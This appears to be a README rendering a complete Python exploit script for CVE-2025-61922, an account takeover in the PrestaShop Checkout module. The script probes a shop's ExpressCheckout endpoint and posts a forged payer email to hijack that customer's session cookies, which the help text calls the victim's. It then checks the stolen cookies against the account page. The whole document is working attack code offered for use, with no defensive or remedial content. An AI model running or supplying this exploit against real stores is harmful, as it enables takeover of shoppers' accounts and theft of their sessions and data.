README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-61922 - Zero-click Account Takeover in PrestaShop Checkout < 5.0.5
Author: S 1 D E R
"""
import requests
import json
import argparse
import sys
from urllib.parse import urljoin
from typing import Optional, Dict, Any
def check_vulnerability(target_url: str, proxy: Optional[str] = None,
timeout: int = 30, verify_ssl: bool = True) -> bool:
session = requests.Session()
# Configure proxy if provided
if proxy:
session.proxies = {
'http': proxy,
'https': proxy
}
session.verify = verify_ssl
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/plain, */*'
})
endpoint = "/module/ps_checkout/ExpressCheckout"
test_url = urljoin(target_url, endpoint)
print(f"[*] Testing: {test_url}")
try:
response = session.options(test_url, timeout=timeout)
if 'POST' in response.headers.get('Allow', ''):
print("[+] Target appears VULNERABLE (endpoint accepts POST requests)")
return True
elif response.status_code == 405: # Method Not Allowed
print("[+] Target appears VULNERABLE (endpoint exists but rejects OPTIONS)")
return True
else:
print(f"[-] Target may not be vulnerable (HTTP {response.status_code})")
return False
except requests.exceptions.ConnectionError:
print("[-] Connection failed - check URL and network")
return False
except requests.exceptions.Timeout:
print("[-] Request timeout")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_takeover(target_url: str, email: str, proxy: Optional[str] = None,
timeout: int = 30, verify_ssl: bool = True) -> Optional[Dict[str, Any]]:
session = requests.Session()
if proxy:
session.proxies = {
'http': proxy,
'https': proxy
}
session.verify = verify_ssl
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/json',
'Accept': 'application/json'
})
endpoint = "/module/ps_checkout/ExpressCheckout"
exploit_url = urljoin(target_url, endpoint)
payload = {
"orderID": "1", # Can be any value, just needs to exist
"order": {
"payer": {
"email_address": email
}
}
}
print(f"[*] Attempting account takeover for: {email}")
print(f"[*] Payload: {json.dumps(payload, indent=2)}")
try:
response = session.post(
exploit_url,
json=payload,
timeout=timeout,
allow_redirects=False
)
result = {
'success': False,
'status_code': response.status_code,
'cookies': {},
'headers': dict(response.headers),
'response_preview': response.text[:500] if response.text else ''
}
if 'set-cookie' in response.headers:
cookie_header = response.headers['set-cookie']
cookies = {}
for cookie_part in cookie_header.split(','):
if '=' in cookie_part:
key_val = cookie_part.split(';')[0].strip()
if '=' in key_val:
key, value = key_val.split('=', 1)
cookies[key] = value
result['cookies'] = cookies
if response.status_code == 500 and cookies:
result['success'] = True
result['message'] = "Vulnerable! Got session cookies despite 500 error."
elif response.status_code == 200:
result['success'] = True
result['message'] = "Possible success - check response for session data"
else:
result['message'] = f"Got HTTP {response.status_code}"
return result
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return None
def test_cookies(target_url: str, cookies_str: str, proxy: Optional[str] = None,
timeout: int = 30, verify_ssl: bool = True) -> bool:
session = requests.Session()
if proxy:
session.proxies = {
'http': proxy,
'https': proxy
}
session.verify = verify_ssl
for cookie_pair in cookies_str.split(';'):
cookie_pair = cookie_pair.strip()
if '=' in cookie_pair:
name, value = cookie_pair.split('=', 1)
session.cookies.set(name.strip(), value.strip())
test_url = urljoin(target_url, "/my-account")
print(f"[*] Testing cookies against: {test_url}")
try:
response = session.get(test_url, timeout=timeout)
if response.status_code == 200:
indicators = [
"My account",
"Order history",
"Sign out",
"Logout"
]
for indicator in indicators:
if indicator in response.text:
print(f"[+] SUCCESS! Found '{indicator}' in response.")
return True
print("[-] Got 200 but no clear login indicators found")
return False
else:
print(f"[-] Got HTTP {response.status_code} - likely not authenticated")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-61922 - PrestaShop Checkout Account Takeover",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s check --url http://target-shop.com
%(prog)s takeover --url http://target-shop.com --email [email protected]
%(prog)s test --url http://target-shop.com --cookies "PrestaShop-abc=123"
"""
)
subparsers = parser.add_subparsers(dest='command', help='Command to execute')
subparsers.required = True
check_parser = subparsers.add_parser('check', help='Check if target is vulnerable')
check_parser.add_argument('--url', required=True, help='Target PrestaShop URL')
takeover_parser = subparsers.add_parser('takeover', help='Attempt account takeover')
takeover_parser.add_argument('--url', required=True, help='Target PrestaShop URL')
takeover_parser.add_argument('--email', required=True, help='Victim email address')
test_parser = subparsers.add_parser('test', help='Test captured cookies')
test_parser.add_argument('--url', required=True, help='Target PrestaShop URL')
test_parser.add_argument('--cookies', required=True, help='Session cookies to test')
for subparser in [check_parser, takeover_parser, test_parser]:
subparser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
subparser.add_argument('--timeout', type=int, default=30,
help='Request timeout in seconds (default: 30)')
subparser.add_argument('--no-verify', action='store_true',
help='Disable SSL certificate verification')
args = parser.parse_args()
if args.no_verify:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if args.command == 'check':
is_vulnerable = check_vulnerability(
target_url=args.url,
proxy=args.proxy,
timeout=args.timeout,
verify_ssl=not args.no_verify
)
if is_vulnerable:
print("\n[!] WARNING: Target appears vulnerable to CVE-2025-61922")
else:
print("\n[-] Target does not appear vulnerable (or endpoint not found)")
sys.exit(0 if is_vulnerable else 1)
elif args.command == 'takeover':
result = exploit_takeover(
target_url=args.url,
email=args.email,
proxy=args.proxy,
timeout=args.timeout,
verify_ssl=not args.no_verify
)
if result:
print(f"\n[*] HTTP Status: {result['status_code']}")
if result['success']:
print("[+] SUCCESS! Account takeover appears to have worked.")
if result['cookies']:
print("[+] Captured cookies:")
for name, value in result['cookies'].items():
print(f" {name}: {value}")
# Format for easy copying
cookie_str = '; '.join([f"{k}={v}" for k, v in result['cookies'].items()])
print(f"\n[*] Cookie string for testing:")
print(f" {cookie_str}")
else:
print("[-] Account takeover may have failed.")
if result.get('message'):
print(f"[-] {result['message']}")
else:
print("[-] Exploit attempt failed completely")
sys.exit(1)
elif args.command == 'test':
success = test_cookies(
target_url=args.url,
cookies_str=args.cookies,
proxy=args.proxy,
timeout=args.timeout,
verify_ssl=not args.no_verify
)
if success:
print("[+] Cookies appear to provide valid session access!")
print("[!] This confirms the vulnerability was successfully exploited.")
else:
print("[-] Cookies do not appear to provide valid access")
print("[-] They may have expired, or the exploit didn't work as expected")
if __name__ == "__main__":
main()